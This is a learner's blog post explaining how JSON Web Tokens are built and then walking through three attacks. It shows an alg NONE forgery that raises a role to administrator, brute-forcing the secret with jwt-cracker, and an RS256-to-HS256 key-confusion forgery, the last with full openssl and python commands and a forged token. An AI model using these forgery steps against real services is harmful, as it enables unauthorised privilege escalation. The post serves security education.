JWT TOKEN - What is it ????

JWT TOKEN - What is it ????

For the last couple of weeks I have been ploughing through some of the learning paths on TryHackMe. (Amazing platform I would recommend to anyone interested in Cyber Security, beginners and pros!)

Going through the Web centred learning paths there is a bunch of guides and information on how to JSON Web Tokens Work and the potential vulnerabilities that surround them, this brief article is written as a note to myself and to further help understand the underlying concepts of how they work and simple exploitation scenarios.

What is a JSON Web Token? JWT (pronounced jot) is pretty much an open standard used to create self-contained access tokens to be used for Authorisation (NOT Authentication), Instead of storing user information server side, user data is encoded, serialised and signed then stored client side.

The information within a JWT can be trusted by an api/application because it can be signed by the issuer using a secret (HMAC) or public / private key pair with RSA or ECDSA, tokens can also be encrypted if necessary.

Here is a basic flow to illustrate the JWT creation process:

1601719371825.png

No alt text provided for this image

JWT Components There are 3 parts to a JSON Web Token, each being separated by a dot structured like this :

Structure : Header.Payload.Signature

The Header — The Header normally consists of the signing algorithm being used (typically HMAC, SHA256 or RSA) and the type of token (JWT of course), an example header would look like this:

{ “alg”: “HS256”, “typ”: “JWT” }

The header is then base64 encoded to form the first part of the token the above encoded output would be:

ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9

The Payload — The second part of the JWT is the payload, this part of the token normally holds user information and claims, claims are pretty much a key value pair that hold information pertaining to a subject or request, most JWT’s will contain claims like iss (issuer), exp (expiration time), sub (subject). There is a massive list of JTW claims and types you can find here. An example JWT payload would look like this:

{ “sub”: “1234567890”, “name”: “John Doe”, “admin”: true }

Once this is base64 encoded we have the second part of our JWT and our output for this would be:

eyAic3ViIjogIjEyMzQ1Njc4OTAiLCAibmFtZSI6ICJKb2huIERvZSIsICJhZG1pbiI6IHRydWUgfQ

The Signature — The signature is a really key part of the JWT, it is essentially the component that allows the application/server to verify the request is legitimate and belongs to the requesting user and that the request has not been modified in transit.

To create the signature we need three things; our base64 encoded header, our base64 encoded payload and the secret we are going to use to sign it.

For example if we wanted to sign our token with the HMACSHA256 algo, it would be created the following way:

HMACSHA256( base64UrlEncode(header) + “.” + base64UrlEncode(payload), secret)

With our data:

HMACSHA256( base64UrlEncode({ “alg”: “HS256”, “typ”: “JWT” }) + “.” + base64UrlEncode({ “sub”: “1234567890”, “name”: “John Doe”, “admin”: true }), SUPERSECRETKEYHERE)

Which should then give us the below JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.foR6qo6L-YAMjbM_Bsic97JGtJ3kKss8m0_PVR9rkgA

JWT Exploitation The NONE algo — By default some JWT libraries allow for he use of the None algorithm type.

The NONE algo type is in place in the event that you still want to use JWT but are using methods other than a signature/encryption contained within the JWT to secure it.

For example, lets say we have a token that — when decoded is output like so:

{“typ”:”JWT”,”alg”:”HS256"}{“auth”:1591821280290,”role”:”user”,”iat”:1591821280}Z%Ǔ ac@’:m\

The garbled text you see at the end is the signature in a binary format, we can make some amendments to the token to test for NONE algo issues:

{“typ”:”JWT”,”alg”:”NONE”}{“auth”:1591821280290,”role”:”administrator”,”iat”:1591821280}

What we could do now is, re-encode the modified JWT in base64 and feed it to the web application in question and if vulnerable to this attack

we could make requests with admin role/perms.

It may seem far-fetched, but this is a real world issue.

BruteForcing The Secret — Bruteforcing a JWT secret is also possible, this is made possible because we essentially have all pieces of the puzzle which is, the token itself!

So the fact we have the full JWT token, means in theory we should be able to bruteforce all of the secret possiblities until we get the correct one.

To do this you can use jwt-cracker — this is a pretty trivial utility to use!

jwt-cracker will NOT crack tokens with complex/long secrets or tokens built on RS256.

Fabricating Valid Tokens — This type of attack essentially tricks a consumer (your api/application) into accepting symmetrically signed JWT’s rather than its expected asymmetrically signed JWT’s.

We need two things for this to work:

A valid JWT Public key of the issuer / api /application For brevity sake, we will assume you already have the public key.

Once we have a fresh JWT, lets decode it:

{“typ”:”JWT”,”alg”:”RS256"}{“iss”:”http:\/\/demo.sjoerdlangkemper.nl\/”,”iat”:1592043873,”exp”:1592043993,”data”:{“hello”:”world”}}

Now we need to change the algo in the header to HS256 and then amend the payload to whatever we need:

{“typ”:”JWT”,”alg”:”HS256"}{“iss”:”http:\/\/demo.sjoerdlangkemper.nl\/”,”iat”:1592043873,”exp”:1592999999,”data”:{“barry”:”cool”}}

Once the token is amended we can re-encode it in base64:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU5MjA0Mzg3MywiZXhwIjoxNTkyOTk5OTk5LCJkYXRhIjp7ImJhcnJ5IjoiY29vbCJ9fQ

Dump your public key out to ACII like so:

cat key.pem | xxd -p | tr -d “\n”

Which will result in the below output:

2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

We can now pass this ASCII to our signing operation and sign our modified request:

echo -n “eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU5MjA0Mzg3MywiZXhwIjoxNTkyOTk5OTk5LCJkYXRhIjp7ImJhcnJ5IjoiY29vbCJ9fQ” | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

This will result in a HMAC signature output:

db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f

Once we encode this in base64 with a python one-liner:

python -c “exec(\”import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex(‘db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f’)).replace(‘=’,’’)\”)”

We get a signature we can append to our previously modified JWT that we can pass to the consumer and it should be accepted.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU5MjA0Mzg3MywiZXhwIjoxNTkyOTk5OTk5LCJkYXRhIjp7ImJhcnJ5IjoiY29vbCJ9fQ.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

JWT architecture is used by some of the Internets biggest companies, when implemented correctly it provides some awesome functionality — but developers definitely need to consider the implications of whatever jwt lib they are using.

A Huge Thanks to the below references that helped me understand about JWT:

JWT.io

TryHackMe.com

demo.sjoerdlangkemper.nl